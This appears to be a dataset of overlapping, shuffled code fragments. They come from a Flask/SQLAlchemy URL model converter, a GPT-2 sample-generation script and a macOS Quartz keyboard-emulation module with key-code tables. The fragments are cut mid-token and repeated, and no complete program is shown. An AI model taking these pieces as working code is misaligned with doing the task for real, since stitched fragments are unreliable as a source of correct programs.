"current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in registry.values(): if isinstance(cls, type) and issubclass(cls,",
"= '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls return # converters # ----------",
"object. This method simplifies a lot of the boilerplate needed to do model",
"def get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self, map, model): self.map",
"get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self, map, model): self.map =",
"getting class registry dictionary from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return",
"= dict() def class_registry(cls): \"\"\" Function for dynamically getting class registry dictionary from",
"class ModelConverter(BaseConverter): \"\"\" For url inputs containing a model identifier, look up the",
"global dictionary to be used in url conversion. \"\"\" global MODELS from flask",
"model identifier, look up the model and return the object. This method simplifies",
"jsonify(user.json()) In addition, this class can be inherited and used for other custom",
"to map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in registry.values(): if",
"NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def",
"import current_app, has_app_context if not has_app_context(): return if 'sqlalchemy' not in current_app.extensions: return",
"= cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1:",
"handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self,",
"mapper[self.model] # search for the object model = cls.get(**{self.__param__: value}) if model is",
"up the model and return the object. This method simplifies a lot of",
"import NotFound # helpers # ------- MODELS = dict() def class_registry(cls): \"\"\" Function",
"a lot of the boilerplate needed to do model look ups in REST",
"the boilerplate needed to do model look ups in REST apis. Examples: ..",
"gather_models(): \"\"\" Inspect sqlalchemy models from current context and set global dictionary to",
"dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy models from current",
"current_app.extensions: return # inspect current models and add to map db = current_app.extensions['sqlalchemy'].db",
"------- import re from werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound # helpers",
"specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\"",
"AssertionError( 'Specified model `{}` in url converter ' 'not part of application models.'.format(self.model))",
"> 1: alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls return #",
"if self.model not in mapper: raise AssertionError( 'Specified model `{}` in url converter",
"if model is None: raise NotFound return model def to_url(self, value): return super(ModelConverter,",
"look ups in REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return",
"sqlalchemy models from current context and set global dictionary to be used in",
"def __init__(self, map, model): self.map = map self.model = model return @property def",
"import re from werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound # helpers #",
"url converters. For instance, here is how you might use it to create",
"in registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model): # class name MODELS[cls.__name__] =",
"python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter # ... handlers ...",
"= 'name' app.url_map.converters['name'] = NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return",
"return the object. This method simplifies a lot of the boilerplate needed to",
"model = cls.get(**{self.__param__: value}) if model is None: raise NotFound return model def",
"needed to do model look ups in REST apis. Examples: .. code-block:: python",
"# lowercase name MODELS[cls.__name__.lower()] = cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__)",
"model and return the object. This method simplifies a lot of the boilerplate",
"__param__ = 'id' def __init__(self, map, model): self.map = map self.model = model",
"global MODELS from flask import current_app, has_app_context if not has_app_context(): return if 'sqlalchemy'",
"mapper: raise AssertionError( 'Specified model `{}` in url converter ' 'not part of",
"---------- class ModelConverter(BaseConverter): \"\"\" For url inputs containing a model identifier, look up",
"x.lower(), words)) MODELS[alias] = cls return # converters # ---------- class ModelConverter(BaseConverter): \"\"\"",
"from werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound # helpers # ------- MODELS",
"def to_python(self, value): mapper = self.models # make sure model exists if self.model",
"here is how you might use it to create a name converter: ..",
"gather_models() return MODELS def to_python(self, value): mapper = self.models # make sure model",
"class_registry(db.Model) for cls in registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model): # class",
"raise AssertionError( 'Specified model `{}` in url converter ' 'not part of application",
"app.url_map.converters['name'] = NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\"",
"'id' def __init__(self, map, model): self.map = map self.model = model return @property",
"current context and set global dictionary to be used in url conversion. \"\"\"",
"return if 'sqlalchemy' not in current_app.extensions: return # inspect current models and add",
"This method simplifies a lot of the boilerplate needed to do model look",
"= class_registry(db.Model) for cls in registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model): #",
"name MODELS[cls.__name__.lower()] = cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words)",
"------- MODELS = dict() def class_registry(cls): \"\"\" Function for dynamically getting class registry",
"@app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self, map, model):",
"werkzeug.exceptions import NotFound # helpers # ------- MODELS = dict() def class_registry(cls): \"\"\"",
"= cls return # converters # ---------- class ModelConverter(BaseConverter): \"\"\" For url inputs",
"# ---------- class ModelConverter(BaseConverter): \"\"\" For url inputs containing a model identifier, look",
"of application models.'.format(self.model)) # set up class for conversion cls = mapper[self.model] #",
"db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in registry.values(): if isinstance(cls, type)",
"add to map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in registry.values():",
"not MODELS: gather_models() return MODELS def to_python(self, value): mapper = self.models # make",
"return @property def models(self): global MODELS if not MODELS: gather_models() return MODELS def",
"def get_user(user): return jsonify(user.json()) In addition, this class can be inherited and used",
"= 'id' def __init__(self, map, model): self.map = map self.model = model return",
"def models(self): global MODELS if not MODELS: gather_models() return MODELS def to_python(self, value):",
"map self.model = model return @property def models(self): global MODELS if not MODELS:",
"for other custom parameter url converters. For instance, here is how you might",
"In addition, this class can be inherited and used for other custom parameter",
"for dynamically getting class registry dictionary from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry)",
"you might use it to create a name converter: .. code-block:: python class",
"issubclass(cls, db.Model): # class name MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()] =",
"REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition,",
"map, model): self.map = map self.model = model return @property def models(self): global",
"url conversion. \"\"\" global MODELS from flask import current_app, has_app_context if not has_app_context():",
"cls return # converters # ---------- class ModelConverter(BaseConverter): \"\"\" For url inputs containing",
"not has_app_context(): return if 'sqlalchemy' not in current_app.extensions: return # inspect current models",
"is None: raise NotFound return model def to_url(self, value): return super(ModelConverter, self).to_url(getattr(value, self.__param__))",
"NotFound # helpers # ------- MODELS = dict() def class_registry(cls): \"\"\" Function for",
"# snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias =",
"part of application models.'.format(self.model)) # set up class for conversion cls = mapper[self.model]",
"= cls # lowercase name MODELS[cls.__name__.lower()] = cls # snake_case name words =",
"and used for other custom parameter url converters. For instance, here is how",
"sure model exists if self.model not in mapper: raise AssertionError( 'Specified model `{}`",
"return MODELS def to_python(self, value): mapper = self.models # make sure model exists",
"to_python(self, value): mapper = self.models # make sure model exists if self.model not",
"containing a model identifier, look up the model and return the object. This",
"in current_app.extensions: return # inspect current models and add to map db =",
"name MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()] = cls # snake_case name",
"\"\"\" For url inputs containing a model identifier, look up the model and",
"return # inspect current models and add to map db = current_app.extensions['sqlalchemy'].db registry",
"Inspect sqlalchemy models from current context and set global dictionary to be used",
"model return @property def models(self): global MODELS if not MODELS: gather_models() return MODELS",
"' 'not part of application models.'.format(self.model)) # set up class for conversion cls",
"make sure model exists if self.model not in mapper: raise AssertionError( 'Specified model",
"current models and add to map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for",
"Function for dynamically getting class registry dictionary from specified model. \"\"\" try: return",
"= self.models # make sure model exists if self.model not in mapper: raise",
".. code-block:: python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter # ...",
"# class name MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()] = cls #",
"\"\"\" __param__ = 'id' def __init__(self, map, model): self.map = map self.model =",
"imports # ------- import re from werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound",
"# imports # ------- import re from werkzeug.routing import BaseConverter from werkzeug.exceptions import",
"registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model): # class name MODELS[cls.__name__] = cls",
"this class can be inherited and used for other custom parameter url converters.",
"class_registry(cls): \"\"\" Function for dynamically getting class registry dictionary from specified model. \"\"\"",
"up class for conversion cls = mapper[self.model] # search for the object model",
"ModelConverter(BaseConverter): \"\"\" For url inputs containing a model identifier, look up the model",
"be used in url conversion. \"\"\" global MODELS from flask import current_app, has_app_context",
"value): mapper = self.models # make sure model exists if self.model not in",
"and return the object. This method simplifies a lot of the boilerplate needed",
"instance, here is how you might use it to create a name converter:",
"\"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy",
"from werkzeug.exceptions import NotFound # helpers # ------- MODELS = dict() def class_registry(cls):",
"\"\"\" Inspect sqlalchemy models from current context and set global dictionary to be",
"mapper = self.models # make sure model exists if self.model not in mapper:",
"get_user(user): return jsonify(user.json()) In addition, this class can be inherited and used for",
"dynamically getting class registry dictionary from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except:",
"name converter: .. code-block:: python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter",
"ups in REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json())"
] |
[
"return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train',",
"GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH = './output/' if __name__ ==",
"PAD token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json')))))",
"GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1)",
"warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf')",
"model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'): with",
"greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid',",
"fout: data = greedy_output.data for i in range(len(data)): elements = list(data[i].numpy())[1:] for idx,",
"'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1),",
"import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH = './output/' if __name__",
"GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH = './output/' if __name__ == '__main__':",
"EOS token as PAD token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model",
"dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'),",
"f'{file}.txt'), 'w') as fout: data = greedy_output.data for i in range(len(data)): elements =",
"# add the EOS token as PAD token to avoid warnings #tokenizer =",
"'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data = greedy_output.data for i",
"token as PAD token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model =",
"'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy()))",
"= list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element))) if idx < len(elements): fout.write(\"",
"avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('',",
"#tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output",
"to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids =",
"'./output/' if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS token",
"from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH = './output/'",
"GPT2Config PATH = './models' OUTPUT_PATH = './output/' if __name__ == '__main__': #tokenizer =",
"== '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as PAD token",
"'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data = greedy_output.data for i in",
"import torch from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH",
"OUTPUT_PATH = './output/' if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the",
"('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data = greedy_output.data for",
"= tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file",
"'./models' OUTPUT_PATH = './output/' if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add",
"add the EOS token as PAD token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH,",
"os import json import torch from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH",
"as PAD token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH,",
"elements = list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element))) if idx < len(elements):",
"file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data =",
"the EOS token as PAD token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json')))))",
"1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH,",
"as fout: data = greedy_output.data for i in range(len(data)): elements = list(data[i].numpy())[1:] for",
"= './output/' if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS",
"in range(len(data)): elements = list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element))) if idx",
"torch from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH =",
"for i in range(len(data)): elements = list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element)))",
"i in range(len(data)): elements = list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element))) if",
"= AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as PAD token to avoid warnings",
"PATH = './models' OUTPUT_PATH = './output/' if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\")",
"GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10,",
"range(len(data)): elements = list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element))) if idx <",
"with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data = greedy_output.data for i in range(len(data)):",
"import os import json import torch from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config",
"= GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output =",
"max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w')",
"= greedy_output.data for i in range(len(data)): elements = list(data[i].numpy())[1:] for idx, element in",
"model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int),",
"import json import torch from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH =",
"transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH = './output/' if",
"__name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as PAD",
"'w') as fout: data = greedy_output.data for i in range(len(data)): elements = list(data[i].numpy())[1:]",
"greedy_output.data for i in range(len(data)): elements = list(data[i].numpy())[1:] for idx, element in enumerate(elements):",
"data = greedy_output.data for i in range(len(data)): elements = list(data[i].numpy())[1:] for idx, element",
"AutoTokenizer, GPT2Config PATH = './models' OUTPUT_PATH = './output/' if __name__ == '__main__': #tokenizer",
"'__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as PAD token to",
"tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in",
"if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as",
"token to avoid warnings #tokenizer = GPT2Tokenizer(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) model = GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids",
"min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as",
"#tokenizer = AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as PAD token to avoid",
"json import torch from transformers import GPT2LMHeadModel, GPT2Tokenizer, AutoTokenizer, GPT2Config PATH = './models'",
"for file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data",
"= './models' OUTPUT_PATH = './output/' if __name__ == '__main__': #tokenizer = AutoTokenizer.from_pretrained(\"./models\") #",
"= model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'):",
"for idx, element in enumerate(elements): fout.write(str(int(element))) if idx < len(elements): fout.write(\" \") fout.write('\\n')",
"open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data = greedy_output.data for i in range(len(data)): elements",
"= GPT2LMHeadModel(config=GPT2Config(**json.load(open(os.path.join(PATH, 'config.json'))))) #input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1,",
"print(list(greedy_output.data[0].numpy())) for file in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout:",
"AutoTokenizer.from_pretrained(\"./models\") # add the EOS token as PAD token to avoid warnings #tokenizer",
"in ('train', 'valid', 'test'): with open(os.path.join(OUTPUT_PATH, f'{file}.txt'), 'w') as fout: data = greedy_output.data",
"list(data[i].numpy())[1:] for idx, element in enumerate(elements): fout.write(str(int(element))) if idx < len(elements): fout.write(\" \")",
"#input_ids = tokenizer.encode('', return_tensors='tf') greedy_output = model.generate(torch.zeros((10, 1), dtype=torch.int), max_length=1024+1, min_length=1024+1) print(list(greedy_output.data[0].numpy())) for"
] |
[
"'i': 0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28, ';':",
": 0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function' :",
"0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32, ' ': 0x31, '\\r':",
"1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7,",
": 0x3A, 'alternate' : 0x3A, 'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption' :",
"# window 0, # ctx 8, # subtype (key_code << 16) | ((0xa",
"self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self, key):",
":( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down):",
"0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28,",
"from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's': 0x01, 'd': 0x02,",
"15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21,",
"key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location 0xa00",
"NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table",
"Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key) if",
"'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS'",
"0x2f, '`': 0x32, ' ': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return'",
"# kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down)",
"'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY':",
"for mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ '",
"0x20, '[': 0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27,",
"'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key =",
"'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',':",
"if key.lower() == \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def",
"run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource",
"'4': 0x15, '6': 0x16, '5': 0x17, '=': 0x18, '9': 0x19, '7': 0x1a, '-':",
"key): # remove the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in",
"'shift' : 0x38, 'capslock' : 0x39, 'option' : 0x3A, 'alternate' : 0x3A, 'control'",
"'z': 0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w':",
": 0x35, 'command' : 0x37, 'shift' : 0x38, 'capslock' : 0x39, 'option' :",
"in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self, key): # remove the",
"'+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {}",
": 0x3E, 'function' : 0x3F, } # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table",
"'j': 0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/':",
"0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10,",
"either version 3 of the License, or #(at your option) any later version.",
": 0x33, 'escape' : 0x35, 'command' : 0x37, 'shift' : 0x38, 'capslock' :",
"eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key",
"'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if",
"0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11,",
"12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18,",
"'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 }",
"'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm':",
"= 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :( #",
"event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for mkey in self.modifier_table: if",
"'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11, '1': 0x12, '2':",
"# data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap,",
"= 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code =",
"'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN':",
"version 3 of the License, or #(at your option) any later version. #",
"Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown)",
